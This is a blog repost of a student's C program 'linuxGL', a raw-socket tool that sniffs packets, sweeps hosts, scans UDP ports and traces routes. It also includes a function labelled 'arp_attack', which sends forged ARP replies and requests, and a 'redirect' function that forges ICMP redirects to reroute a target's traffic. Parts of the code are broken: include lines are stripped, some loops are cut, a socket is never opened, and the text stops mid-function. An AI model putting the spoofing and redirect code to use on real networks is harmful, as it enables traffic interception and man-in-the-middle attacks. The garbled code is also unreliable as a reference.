最後的紀念---linuxGL(轉)

BSDLite發表於2007-08-16
最後的紀念---linuxGL(轉)[@more@]
CODE:
/*
作品名:linuxGL
作者:陳興華
來自:廣州
學校:THXY College
班別:網路042班
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __FAVOR_BSD
#include
#ifdef __linux
#include
#include
#else
#include
#include
#include
#include
#endif
#define BUFSIZE 4096
#define PACKET_LEN 72
#define MAXSIZE 4096
#define OPTNUM 8
#define ON 1
#define OFF 0
enum{ETHER,ARP,IP,TCP,UDP,ICMP,DUMP,ALL};
enum{OPEN,CLOSE};
enum{CMD_NAME,CMD_SELECT,START_IP,LAST_IP};
enum{CMD_NAME1,CMD_SELECT2,DST_IP,START_PORT,LAST_PORT};
enum {CMD_NAME2,S3,TARGET_IP,OLD_ROUTER,NEW_ROUTER,DST_IP1 };
enum{CMD_NAME3,S4,DST_IP3};
enum{CMD_NAME5,IFNAME,DST_IP4,MAC_ADDR,OPTION};
enum{NORMAL,REPLY,REQUEST};
#ifndef _linux_
/*實現使用BPF作為訪問資料鏈路層的手段
用於FreeBSD系統中*/
int open_bpf(char *ifname);
#endif

void make_icmp8_packet(struct icmp *icmp,int len,int n); /*ICMP頭部*/
void make_udp_header( struct udphdr *udp); /*UDP頭部*/
void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,int iplen);
void make_ip_header2(struct ip *ip,int srcip, int dstip,int iplen); /*IP頭部*/
void make_icmp5_header(struct icmp *icmp,u_int gw_ip);
void make_ethernet(struct ether_header *eth,u_char *ether_dhost, /* 以太幀頭部*/
u_char *ether_shost,u_short ether_type);
void make_arp(struct ether_arp *arp,int op,u_char *arp_sha, /* ARP頭部*/
u_char *arp_spa,u_char *arp_tha, u_char *arp_tpa);
u_short checksum(u_short *data,int len);
void tvsub(struct timeval *out,struct timeval *in); /*計算往返時間*/
void scan_host(int argc,char *argv[]); /*主機查詢*/
void scan_port(int argc,char *argv[]); /*埠查詢*/
void scan_uport(int argc,char *argv[]); /*UDP埠查詢*/

void print_ethernet(struct ether_header *eth); /*列印以太資料*/
void print_arp(struct ether_arp *arp); /*列印ARP*/
void print_ip(struct ip *ip); /*列印IP資料*/
void print_icmp(struct icmp *icmp); /*列印ICMP資料*/
void print_tcp(struct tcphdr *tcp); /*列印TCP資料*/
void print_udp(struct udphdr *udp); /*列印UDP資料*/
void dump_packet(unsigned char *buff,int len); /*列印格式*/
void kill_serve(int argc, char *argv[]); /*關閉或開啟服務*/
void on(int argc,char *argv[],char *server_save,FILE *tmp_s); /*開啟服務*/
void off(int argc,char *argv[],char *server_save,FILE *tmp_s); /*關閉服務*/
char* yi_wei(char *server_save,int flag); /*關閉或開啟服務中字元的移位*/
void redirect(int argc,char *argv[]); /*ICMP重定向*/
void scan_route(int argc,char *argv[]);/*查詢路由*/
void m_arp(int argc,char *argv[]); /*ARP操作*/
char *mac_ntoa(u_char *d);/*將陣列中儲存的MAC地址變換為字串*/
char *tcp_ftoa(int flag); /*將TCP報頭的協議標誌變換為字串*/
char *ip_ttoa(int flag);/*將IP報頭的TOS變為字串*/
char *ip_ftoa(int flag);/*將IP報頭的段位變換為字串*/
struct packet_udp
{
struct ip ip;
struct udphdr udp;
};
int main(int argc,char **argv)
{
struct ether_header *eth;
struct ether_arp *arp;
struct ip *ip;
struct icmp *icmp;
struct tcphdr *tcp;
struct udphdr *udp;

int s;
int len;
int c;
int disp;
char buff[MAXSIZE];
char *p;
char *po;
char ifname[256]="x10";
int opt[OPTNUM];
extern int optind;
#ifndef _linux_
int bpf_len;
struct bpf_hdr *bp;
#endif
opt[ETHER]=OFF;
opt[ARP]=ON;
opt[IP]=ON;
opt[TCP]=ON;
opt[UDP]=ON;
opt[ICMP]=ON;
opt[DUMP]=OFF;
opt[ALL]=OFF;
while( (c=getopt(argc,argv,"mtruoskaei:p:dh"))!=EOF )
{
switch(c)
{
case 'k':
kill_serve(argc,argv);
break;
case 'm':
m_arp(argc,argv);
break;
case 't':
scan_route(argc,argv);
break;
case 'r':
redirect(argc,argv);
break;
case 'u':
scan_uport(argc,argv);
break;
case 'o':
scan_port(argc,argv);
break;
case 's':
scan_host(argc,argv);
break;
case 'a':
opt[ALL]=ON;
break;
case 'i':
strcpy(ifname,optarg);
break;
case 'e':
opt[ETHER]=ON;
break;
case 'd':
opt[DUMP]=ON;
break;
case 'p':
opt[ARP]=OFF;
opt[IP]=OFF;
opt[TCP]=OFF;
opt[UDP]=OFF;
opt[ICMP]=OFF;
optind--;
while(argv[optind]!=NULL && argv[optind][0]!='-')
{
if(strcmp(argv[optind],"arp")==0)
opt[ARP]=ON;
else if(strcmp(argv[optind],"ip")==0)
opt[IP]=ON;
else if(strcmp(argv[optind],"tcp")==0)
opt[TCP]=ON;
else if(strcmp(argv[optind],"udp")==0)
opt[UDP]=ON;
else if(strcmp(argv[optind],"icmp")==0)
opt[ICMP]=ON;
else if(strcmp(argv[optind],"other")==0)
;
else
{
exit(0);
}
optind++;
}
break;
default:
fprintf(stderr,"no argument my Master linuxcici");
exit(0);
break;
}
}


if(optind{
while(optindprintf("%s",argv[optind++]);
printf(" ");
fprintf(stderr,"no argument or wrong my Master linuxcici ");
exit(0);
}
#ifdef __linux
if( (s=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ALL)))<0 )
{
perror("socket");
exit(0);
}
if(strcmp(ifname,"x10")!=0)
{
struct sockaddr sa;
memset(&sa,0,sizeof(sa));
sa.sa_family=AF_INET;
strcpy(sa.sa_data,ifname);
if(bind(s,&sa,sizeof(sa))<0)
{
perror("bind");
exit(0);
}
}
#else
if((s=open_bpf(ifname))<0)
exit(0);
bpf_len=0;
#endif

while(1)
{
#ifndef __linux
if(bpf_len<=0)
{
if( (bpf_len=read(s,buff,MAXSIZE))<0 )
{
perror("read");
exit(0);
}
bp=(struct bpf_hdr *)buff;
}else
{
bp=(struct bpf hdr *)( (char *)bp+bp->bh_hdrlen+bp->bh_caplen);
bp=(struct bpf hdr *)BPF_WORDALIGN((int)bp);
}
p=po=(char *)bp+bp->bh_hdrlen;
len=bp->bh_datalen;
#ifdef DEBUG
printf("bpf_len=%d,",bpf_len);
printf("hdrlen=%d,",bp->hdrlen);
printf("caplen=%d,",bp->bh_caplen);
printf("datalen=%d ",bp->bh_datalen);
#endif
bpf_len-=BPF_WORDLIGN(bp->bh_hdrlen+bp->bh_caplen);
#else
if((len=read(s,buff,MAXSIZE))<0)
{
perror("read");
exit(0);
}
p=buff; po=buff;
#endif
disp=OFF;
eth=(struct ether_header *)p;
p=p+sizeof(struct ether_header);
if(ntohs(eth->ether_type)==ETHERTYPE_ARP)
{
if(opt[ARP]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
arp=(struct ether_arp *)p;
print_arp(arp);
disp=ON;
}
}else if (ntohs(eth->ether_type)==ETHERTYPE_IP)
{
ip=(struct ip *)p;
p=p+((int)(ip->ip_hl)<<2);
if(opt[IP]==ON && opt[TCP]==OFF &&opt[UDP]==OFF && opt[ICMP]==OFF)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
print_ip(ip);
disp=ON;
}
switch(ip->ip_p)
{
case IPPROTO_TCP:
tcp=(struct tcphdr *)p;

# ifdef _FAVOR_BSD_
p=p+((int)(tcp->th_off)<<2);
#else
p=p+((int)(tcp->doff)<<2);
#endif
if(opt[TCP]==ON)
{
if(opt[IP]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
print_ip(ip);
}
print_tcp(tcp);
disp=ON;
}
break;
case IPPROTO_ICMP:
icmp=(struct icmp *)p;
p=p+sizeof(struct udphdr);
if(opt[ICMP]==ON)
{
if(opt[IP]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
print_ip(ip);
}
print_icmp(icmp);
disp=ON;

}
break;
default:
if(opt[ALL]==ON)
{
if(opt[IP]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
print_ip(ip);
}
printf("Protocol:unknow ");
disp=ON;
}
break;
}
}
else
{
if(opt[ALL]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
printf("protocol unknow ");
disp=ON;
}
}
if(disp==ON)
{
if(opt[DUMP]==ON)
dump_packet(po,len);
printf(" ");
}
}
return EXIT_SUCCESS;
}
/***************************** arp_attack ************************************/
void m_arp(int argc,char *argv[])
{

struct ether_header *eth;
struct ether_arp *arp;
char recv_buff[4096];
char send_buff[4096];
int s;
int len;
char *rp;
char *rpo;
char *sp;
char mac_addr[6];
int tmp[6];
int i;
int flag;
#ifndef __linux
struct bpf_hdr *bp;
int bpf_len;
#else
struct sockaddr sa;
#endif
u_int dst_ip;
char ifname[256];
flag=NORMAL;
if(argc==5)
{
if(strcmp(argv[OPTION],"reply")==0)
flag=REPLY;
else if(strcmp(argv[OPTION],"request")==0)
flag=REQUEST;
else
{

exit(0);
}
}
else if (argc!=4)
{

exit(0);

}

strcpy(ifname,argv[IFNAME]);
dst_ip=inet_addr(argv[DST_IP4]);
if(sscanf(argv[MAC_ADDR],"%x:%x:%x:%x:%x:%x",&tmp[0],
&tmp[1],&tmp[1],&tmp[3],&tmp[4],&tmp[5])!=6)
{
printf("MAC address error %s ",argv[MAC_ADDR]);
exit(0);
}
for(i=0;i<6;i++)
mac_addr[i]=tmp[i];
#ifdef __linux
if( (s=socket(PF_PACKET,SOCK_PACKET,htons(ETH_P_ALL)))<0 )
{
perror("socket");
exit(0);
}
memset(&sa,0,sizeof(sa));
sa.sa_family=PF_PACKET;
strcpy(sa.sa_data,ifname);
if(bind(s,&sa,sizeof(sa))<0)
{
perror("bind");
exit(0);
}
#else
if( (s=open_bpf(ifname))<0 )
exit(0);
bpf_len=0;
#endif
while(1)
{
#ifndef __linux
if(bpf_len<=0)
{
if( (bpf_len=read(s,recv_buff,4096))<0 )
{
perror("read");
exit(0);
}
bp=(struct bpf_hdr *)recv_buff;
}
else
{
bp=(struct bpf_hdr *)((char *)bp+bp->bh_hdrlen);
bp=(struct bpf_hdr *)BPF_WORDALIGH ((int)bp) ;
}
rp=rpo=(char *)bp+bp->bh_hdrlen;
len=bp->bh_caplen;
#ifdef DEBUG
printf("bpf_len=%d ",bpf_len);
printf("hdrlen=%d ",bp->bh_hdrlen);
printf("caplen=%d ",bp->caplen);
printf("datalen=%d ",bp->bh_datalen);
#endif
bpf_len-=BPF_WORDALIGN(bp->bh_hdrlen+bp->bh_caplen);
#else
if( (len=read(s,recv_buff,4096))<0 )
{
perror("read");
exit(0);
}
rp=rpo=recv_buff;
#endif
eth=(struct ether_header *)rp;
rp=rp+sizeof(struct ether_header);
if( memcmp(eth->ether_dhost,mac_addr,6)!=0
&& memcmp(eth->ether_shost,mac_addr,6)!=0
&& ntohs(eth->ether_type)==ETHERTYPE_ARP)
{
arp=(struct ether_arp *)rp;
if( dst_ip==*(int *)(arp->arp_spa))
{
static char zero[6];
static char one[6]={0xff,0xff,0xff,0xff,0xff,0xff};
printf("Hit............Linuxcici");
print_ethernet(eth);
print_arp(arp);
sp=send_buff+sizeof(struct ether_header);

if(flag==REPLY)
{
make_arp((struct ether_arp *)sp,ARPOP_REPLY,mac_addr,
arp->arp_tpa,arp->arp_sha,arp->arp_sha);
make_ethernet((struct ether_header *)send_buff,arp->arp_sha,
mac_addr,ETHERTYPE_ARP);
}
else if (flag==REQUEST)
{
make_arp((struct ether_arp *)sp,ARPOP_REQUEST,mac_addr,
arp->arp_spa,zero,arp->arp_tpa);
make_ethernet((struct ether_header *)send_buff,one,mac_addr,
ETHERTYPE_ARP);
}
else
{
make_arp((struct ether_arp *)sp,ARPOP_REQUEST,mac_addr,
arp->arp_tpa,zero,arp->arp_spa);
make_ethernet((struct ether_header *)send_buff,
arp->arp_sha,mac_addr,ETHERTYPE_ARP);
}
len=sizeof(struct ether_header)+sizeof(struct ether_arp);
usleep(500*1000);
#ifndef __linux
if(write(s,send_buff,len)<0)
{
perror("write");
exit(0);
}
#else
if(sendto(s,send_buff,len,0,&sa,sizeof(sa))<0)
{
perror("sendto");
exit(0);
}
#endif
printf("SEND---------------------my Master linuxcici");
print_ethernet((struct ether_header *)send_buff);
print_arp((struct ether_arp *)sp);
}
}
}
exit(1);
}

void make_ethernet(struct ether_header *eth,u_char *ether_dhost,
u_char *ether_shost,u_short ether_type)
{
memcpy(eth->ether_dhost,ether_dhost,6);
memcpy(eth->ether_shost,ether_shost,6);
eth->ether_type=htons(ether_type);
}

void make_arp(struct ether_arp *arp,int op,u_char *arp_sha,u_char *arp_spa,
u_char *arp_tha,u_char *arp_tpa)
{
arp->arp_hrd=htons(1);
arp->arp_pro=htons(ETHERTYPE_IP);
arp->arp_hln=6;
arp->arp_pln=4;
arp->arp_op=htons(op);
memcpy(arp->arp_sha,arp_sha,6);
memcpy(arp->arp_spa,arp_spa,4);
memcpy(arp->arp_tha,arp_tha,6);
memcpy(arp->arp_tpa,arp_tpa,4);
}
/***************************** arp_attack ************************************/
/***************************** scan_route ************************************/
void scan_route(int argc,char *argv[])
{
struct packet_udp sendpacket;
struct sockaddr_in send_sa;
int send_sd;
int recv_sd;
int len;
int ttl;
int i;
u_char buff[512];
struct timeval tvm0;
struct timeval tvm1;
struct timeval tv;
fd_set readfd;
int on=1;
int dns_flg=0;
if(argc==3 && strcmp(argv[1],"-n")==0)
{
dns_flg=1;
argv[1]=argv[2];
argv[2]=NULL;
argc=2;
}
if(argc!=2)
{
fprintf(stderr, "usage: %s [-n] dst_ip ",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
memset( (char *)&send_sa,0,sizeof(struct sockaddr_in) );
send_sa.sin_family=AF_INET;
if( (send_sa.sin_addr.s_addr=inet_addr(argv[DST_IP3]))==INADDR_NONE )
{
struct hostent *he;
if( (he=gethostbyname(argv[DST_IP3]))==NULL )
{
fprintf(stderr,"unknow host %s ",argv[DST_IP3]);
exit(EXIT_FAILURE);
}
send_sa.sin_family=he->h_addrtype;
memcpy( (char *)&(send_sa.sin_addr),he->h_addr,sizeof(he->h_length) );
}
if( (send_sd=socket(AF_INET, SOCK_RAW,IPPROTO_RAW))<0 )
{
perror("socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
if( setsockopt(send_sd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))<0 )
{
perror("setsockopt(IPPROTO_IP,IP_HDRINCL)");
exit(EXIT_FAILURE);
}
if( (recv_sd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0 )
{
perror("socket(SOCKET_RAW)");
exit(EXIT_FAILURE);
}
len=sizeof(struct packet_udp);
memset( (char *)&sendpacket,0,sizeof(struct packet_udp) );
make_udp_header(&(sendpacket.udp));
make_ip_header2(&(sendpacket.ip),0,send_sa.sin_addr.s_addr,len);
printf("scanroute %s ",inet_ntoa(send_sa.sin_addr));
for(ttl=1;ttl<=64;ttl++)
{
printf("%2d:",ttl);
fflush(stdout);
sendpacket.ip.ip_ttl=ttl;
for(i=0;i<3;i++)
{
if(sendto(send_sd,(char *)&sendpacket,len,0,
(struct sockaddr *)&send_sa,sizeof (send_sa))<0)
{
perror("sendto");
exit(EXIT_FAILURE);
}
gettimeofday(&tvm0,(struct timezone *)0);
tv.tv_sec=3;
tv.tv_usec=0;
reread:
FD_ZERO(&readfd);
FD_SET(recv_sd,&readfd);
if( (select(recv_sd+1, &readfd,NULL,NULL,&tv))>0 )
{
int hlen;
struct icmp *icmp;
struct ip *ip;
struct hostent *host;
char hostip[256];
struct in_addr ipaddr;
if( recvfrom(recv_sd,buff,512,0,NULL,NULL)<0 )
{
perror("recvfrom");
exit(EXIT_FAILURE);
}
ip=(struct ip *)buff;
hlen=ip->ip_hl<<2;
if( ip->ip_p !=IPPROTO_ICMP)
goto reread;
icmp=(struct icmp *)(buff+hlen);
if( (icmp->icmp_type!=ICMP_TIMXCEED
|| icmp->icmp_code !=ICMP_TIMXCEED_INTRANS)
&& (icmp->icmp_type!=ICMP_UNREACH_PORT) )
goto reread;
gettimeofday(&tvm1,(struct timezone *)0);
tvsub(&tvm1,&tvm0);
memcpy(&ipaddr,&(ip->ip_src.s_addr),sizeof (ipaddr));
strcpy(hostip,inet_ntoa(* (struct in_addr *)&(ip->ip_src.s_addr)));
if(dns_flg==1)
printf("% -15s",hostip);
else if( (host=gethostbyaddr( ( char *)&ipaddr,4,AF_INET))==NULL )
printf(" % -15s(%s)",host,hostip);
else
printf("% -15s(%s)",hostip,host->h_name);
printf(": RTT= %8.4fms",tvm1.tv_sec * 1000.0 +tvm1.tv_usec/1000.0);
if(icmp->icmp_type==ICMP_UNREACH_PORT)
{

printf("Reach ! ");

goto exit;
}
else
break;
}
else
{
printf("unknow ");
fflush(stdout);
}

}

printf(" ");

}
exit:
close(send_sd);
close(recv_sd);
exit(1);
}

void make_ip_header2(struct ip *ip,int srcip,int dstip,int iplen)
{
memset( (char *)ip,0,sizeof(struct ip) );
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip) >> 2;
ip->ip_id=htons(0);
ip->ip_off=0;
#ifdef _linux_
ip->ip_len=htons(iplen);
ip->ip_off=htons(0);
#else
ip->ip_len=iplen;
ip->ip_off=0;
#endif
ip->ip_ttl=64;
ip->ip_p=IPPROTO_UDP;
ip->ip_src.s_addr=srcip;
ip->ip_dst.s_addr=dstip;
ip->ip_sum=0;
ip->ip_sum=checksum( (u_short *)ip,sizeof(struct ip) );

}
/***************************** scan_route ************************************/

/***************************** redirect ************************************/
void redirect(int argc,char *argv[])
{
struct sockaddr_in dest;

unsigned char buff[1500];
struct ip *ip_new;
struct ip *ip_old;
struct icmp *icmp;
struct udphdr *udp;
int s;
int size;
int on=1;
if(argc!=5)
{
fprintf(stderr,"usage %s targetd_host old_router new_router dst_ip ",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}

if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))<0)
{
perror("setsockopt(IP_HDRINCL)");
exit(EXIT_FAILURE);

}
ip_new=(struct ip *)(buff);
icmp=(struct icmp *)(buff+20);
ip_old=(struct ip *)(buff+20+8);
udp=(struct udphdr *)(buff+20+8+20);
size=20+8+20+8;
make_udp_header(udp);
make_ip_header(ip_old,inet_addr(argv[TARGET_IP]),inet_addr(argv[DST_IP1]),
IPPROTO_UDP,100);

make_icmp5_header(icmp,inet_addr(argv[NEW_ROUTER]));
make_ip_header(ip_new,inet_addr(argv[OLD_ROUTER]),
inet_addr(argv[TARGET_IP]),IPPROTO_ICMP,size);

memset( (char *)&dest,0,sizeof(dest) );
dest.sin_family=AF_INET;
dest.sin_addr.s_addr=inet_addr(argv[TARGET_IP]);
if( sendto (s,buff,size,0,(struct sockaddr *)&dest,sizeof(dest))<0 )
{
perror("sendto");
exit(EXIT_FAILURE);
}
exit(1);
}


void make_udp_header(struct udphdr *udp)
{
#ifdef _FAVOR_BSD_
udp->uh_sport=htons(0);
udp->uh_ulen=htons( (u_short)sizeof(struct udphdr) );
udp->uh_dport=htons(33434);
udp->uh_sum=htons(0);
#else
udp->source=htons(0);
udp->len=htons( (u_short)sizeof(struct udphdr) );
udp->dest =htons(33434);
udp->check=htons(0);
#endif
}

void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,int iplen)
{
memset( (char *)ip,0,sizeof(struct ip) );
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip) >> 2;
ip->ip_id=htons(0);
ip->ip_off=0;
#ifdef _linux_
ip->ip_len=htons(iplen);
ip->ip_off=htons(IP_DF);
#else
ip->ip_len=iplen;
ip->ip_off=IP_DF;
#endif
ip->ip_ttl=2;
ip->ip_p=proto;
ip->ip_src.s_addr=target_ip;
ip->ip_dst.s_addr=dst_ip;
ip->ip_sum=0;
ip->ip_sum=checksum( (u_short *)ip,sizeof(struct ip) );

}

void make_icmp5_header( struct icmp *icmp,u_int gw_ip )
{
icmp->icmp_type=ICMP_REDIRECT;
icmp->icmp_code=ICMP_REDIRECT_HOST;
icmp->icmp_gwaddr.s_addr=gw_ip;
icmp->icmp_cksum=0;
icmp->icmp_cksum=checksum( (u_short *)icmp,8+20+8 );
}
/***************************** redirect ************************************/
/***************************** scan udp port ************************************/
void scan_uport(int argc,char *argv[])
{
printf(" Running scan udp port programe my master linuxcici ");
getchar();
struct icmp *icmp;
fd_set select_fd;
struct sockaddr_in send_sa;
int send_sd,recv_sd;
char buff[8192];
int endport;
int startport;
int dstport;
struct timeval tv;
if(argc!=5)
{
fprintf(stderr,"usage:%s dst_ip start_ip last_port ",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
send_sa.sin_family=AF_INET;
send_sa.sin_addr.s_addr=inet_addr(argv[DST_IP]);
startport=atoi(argv[START_PORT]);
endport=atoi(argv[LAST_PORT]);

if((send_sd=socket(AF_INET,SOCK_DGRAM,0))<0)
{
perror("socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
if((recv_sd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{
perror("socket(SOCKET_RAW)");
exit(EXIT_FAILURE);
}
for( dstport=startport;dstport<=endport;dstport++ )
{
printf("scan port%d ",dstport);
fflush(stdout);
send_sa.sin_port=htons(dstport);

sendto(send_sd,NULL,0,0,(void *)&send_sa,sizeof(send_sa));
tv.tv_sec=1;
tv.tv_usec=0;

while(1)
{
FD_ZERO(&select_fd);
FD_SET(recv_sd,&select_fd);
if( select(recv_sd+1,&select_fd,NULL,NULL,&tv)<=0 )
break;

struct ip *ip;
int hlen;
int port;
if(recvfrom(recv_sd,buff,8192,0,NULL,NULL)!=56)
continue;
ip=(struct ip *)buff;
hlen=ip->ip_hl<<2;
icmp=(struct icmp *)(buff+hlen);
port=ntohs(*(u_short *)(buff+20+8+20+2));

if((ip->ip_src.s_addr!=send_sa.sin_addr.s_addr)
||(icmp->icmp_type!=ICMP_UNREACH)
||(icmp->icmp_code!=ICMP_UNREACH_PORT)
||(port!=dstport) )
continue;
else
{
struct servent *se;
se=getservbyport(htons(dstport),"udp");
printf("%5d %-20s ",dstport,(se==NULL)? "unknow":se->s_name);
break;
}
}
}
printf(" THXY College ");
printf("it's done my master Linuxcici ");
exit(1);
}

/***************************** scan udp port ************************************/
/***************************** scan port ************************************/
void scan_port(int argc,char *argv[])
{
printf(" Running scan port programe my master linuxcici ");
getchar();
struct icmp *icmp;
fd_set select_fd;
struct sockaddr_in send_sa;
int send_sd,recv_sd;
char buff[8192];
int endport;
int startport;
int dstport;
struct timeval tv;
if(argc!=5)
{
fprintf(stderr,"usage:%s dst_ip start_ip last_port ",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
send_sa.sin_family=AF_INET;
send_sa.sin_addr.s_addr=inet_addr(argv[DST_IP]);
startport=atoi(argv[START_PORT]);
endport=atoi(argv[LAST_PORT]);
if((send_sd=socket(AF_INET,SOCK_DGRAM,0))<0)
{
perror("socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
if((recv_sd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{
perror("socket(SOCKET_RAW)");
exit(EXIT_FAILURE);
}
for( dstport=startport;dstport<=endport;dstport++ )
{
printf("scan port%d ",dstport);
fflush(stdout);
send_sa.sin_port=htons(dstport);
sendto(send_sd,NULL,0,0,(void *)&send_sa,sizeof(send_sa));
tv.tv_sec=1;
tv.tv_usec=0;
while(1)
{
FD_ZERO(&select_fd);
FD_SET(recv_sd,&select_fd);
if( select(recv_sd+1,&select_fd,NULL,NULL,&tv)<=0 )
break;
struct ip *ip;
int hlen;
int port;
if(recvfrom(recv_sd,buff,8192,0,NULL,NULL)!=56)
continue;

ip=(struct ip *)buff;
hlen=ip->ip_hl<<2;
icmp=(struct icmp *)(buff+hlen);
port=ntohs(*(u_short *)(buff+20+8+20+2));

if((ip->ip_src.s_addr!=send_sa.sin_addr.s_addr)
||(icmp->icmp_type!=ICMP_UNREACH)
||(icmp->icmp_code!=ICMP_UNREACH_PORT)
||(port!=dstport) )
continue;
else
{
struct servent *se;
se=getservbyport(htons(dstport),"udp");
printf("%5d %-20s ",dstport,(se==NULL)? "unknow":se->s_name);
break;
}
}
}
printf(" THXY College ");
printf("it's done my master Linuxcici ");
exit(1);
}
/***************************** scan port ************************************/
/******************************** scan host ***********************************/
void scan_host(int argc,char *argv[])
{
printf(" Running scan host programe my master linuxcici ");
getchar();
struct sockaddr_in send_sa;
int s;
char send_buff[PACKET_LEN];
char recv_buff[BUFSIZE];
int startip;
int endip;
int dstip;
struct timeval tv;
int i;
fd_set readfd;
struct ip *ip;
int hlen;
if(argc!=4)
{
fprintf(stderr,"usage %s start_ip last_ip ",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
startip=ntohl(inet_addr(argv[START_IP]));
endip=ntohl(inet_addr(argv[LAST_IP]));
memset( (char *)&send_sa,0,sizeof(struct sockaddr_in) );
send_sa.sin_family=AF_INET;

if( (s=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP) )<0)
{
perror("socket(SOCK_RAW,IPPRPTO_ICMP)");
exit(EXIT_FAILURE);
}
for(dstip=startip;dstip<=endip;dstip++)
{
send_sa.sin_addr.s_addr=htonl(dstip);

for(i=0;i<3;i++)
{
printf("scan %s(%d) ",inet_ntoa(send_sa.sin_addr),i+1);
fflush(stdout);
make_icmp8_packet((struct icmp *)send_buff,PACKET_LEN,i);

if( sendto(s,(char *)&send_buff,PACKET_LEN,0,
(struct sockaddr *)&send_sa,sizeof(send_sa))<0 )
{
perror("sendto");
exit(EXIT_FAILURE);
}
tv.tv_sec=0;
tv.tv_usec=200*1000;
while(1)
{
FD_ZERO(&readfd);
FD_SET(s,&readfd);
if( (select(s+1,&readfd,NULL,NULL,&tv) ) <=0 )
break;
if( recvfrom(s,recv_buff,BUFSIZE,0,NULL,NULL)<0 )
{
perror("recvfrom");
exit(EXIT_FAILURE);
}
ip=(struct ip*)recv_buff;
hlen=ip->ip_hl<<2;

if(ip->ip_src.s_addr==send_sa.sin_addr.s_addr)
{
struct icmp *icmp;
icmp=(struct icmp *)(recv_buff+hlen);

if(icmp->icmp_type==ICMP_ECHOREPLY)
{
printf(" %-15s",inet_ntoa(*(struct in_addr *)&(ip->ip_src.s_addr)));
gettimeofday(&tv,(struct timezone *)0);
tvsub(&tv,(struct timeval *)(icmp->icmp_data));
printf(": RTT=%8.4fms ",tv.tv_sec*1000.0+tv.tv_usec/1000.0);
goto exit_loop;
}
}
}
}
exit_loop: ;
}
close(s);
printf(" THXY College ");
printf("it's done my master Linuxcici ");
exit(1);
}
/******************************** scan host ***********************************/

/******************************** kill server ***********************************/
char* yi_wei(char *server_save,int flag)
{
int i;
char *r_w,*p;
r_w=(char *)malloc(100* sizeof(char));
if(flag==1)
{
*(r_w)='#';
for(i=0;*(server_save+i)!=''&&*(server_save+i)!=' ';i++)
*(r_w+i+1)=*(server_save+i);
*(r_w+i+1)=' ';
*(r_w+i+2)='';
}
else
{
for(i=0;*(server_save+i)!=''&&*(server_save+i)!=' ';i++)
{
if( *(server_save+i+1)=='')break;
*(r_w+i)=*(server_save+i+1);
*(r_w+i+1)='';
}
}
memset(server_save,' ',100);
strcpy(server_save,r_w);
free(r_w);
return server_save;
}

void off(int argc,char *argv[],char *server_save,FILE *tmp_s)
{

char *p,*f_s;
int i=0,count=0;

for(;*(argv[3]+i)!='';i++ )
{
if( *(argv[3]+i)==*(server_save+i) )
count++;
}
if(i==count)
{
f_s=yi_wei(server_save,1);

int i=0;
i=0;
while( *(server_save+i)!='')
{
fputc(*(server_save+i),tmp_s);
i++;
}
}
else
{
int b=0;
while( *(server_save+b)!='')
{
fputc(*(server_save+b),tmp_s);
b++;
}
}
}

void on(int argc,char *argv[],char *server_save,FILE *tmp_s)
{

char *p,*f_s;
int i=0,count=0;
for(;*(argv[3]+i)!='';i++ )
{
if( (*(argv[3]+i)==*(server_save+i+1) )&& *(server_save)=='#')
count++;
}
if(i==count)
{

f_s=yi_wei(server_save,0);
int i=0;
i=0;
while( *(server_save+i)!='')
{
fputc(*(server_save+i),tmp_s);
i++;
}

}
else
{
int b=0;
while( *(server_save+b)!='')
{
fputc(*(server_save+b),tmp_s);
b++;
}
}
}

void kill_serve(int argc, char *argv[])
{
char server_save[100];
char *server_name="/etc/services";
char *tmp_name="/etc/tmp_linux";
int server_state;
FILE *server_file,*tmp_s;
int i;
if(argc<4)
{
printf(" usage: the wrong argument open/close+servername ");
exit(0);
}
if((server_file=fopen(server_name,"r+"))==NULL)
{
perror("can't not open server process");
exit(0);
}
if((tmp_s=fopen(tmp_name,"w+"))==NULL)
{
perror("can't not open server process");
exit(0);
}
fseek(server_file,0,SEEK_SET);
if( strcmp("OPEN",argv[2])==0)
{
server_state=OPEN;
}
else if
( strcmp("CLOSE",argv[2])==0)
{
server_state=CLOSE;
}
else
{
printf("usage : it's not open or close ");
exit(0);
}
while(( fgets(server_save,100,server_file) ))
{
if(server_state==OPEN)
on(argc,argv,server_save,tmp_s);
if(server_state==CLOSE)
off(argc,argv,server_save,tmp_s);
memset(server_save,' ',100);
}
if(unlink("/etc/services")<0)
{
perror("unlink failure");
exit(0);
}
if( chdir("/etc")<0)
{
perror("can't chdir");
exit(0);
}
if(rename("/etc/tmp_linux","/etc/services")<0)
{
perror("rename failure");
exit(0);
}
printf("THXY College ");
printf(" nmy Master linuxcici, it's done ");
fclose(server_file);
fclose(tmp_s);
exit(1);

}

/******************************** kill server **********************************/
void dump_packet(unsigned char *buff,int len)
{
int i,j;
printf("FrameDump: ");
for(i=0;i{
for(j=i;j{
printf("%02x",buff[j]);
if(j%2==1)printf(" ");
}
if(j==len && len % 16!=0)
for(j=0;j<40-(len%16)*2.5;j++)
printf(" ");
printf(":");
for(j=i;j{
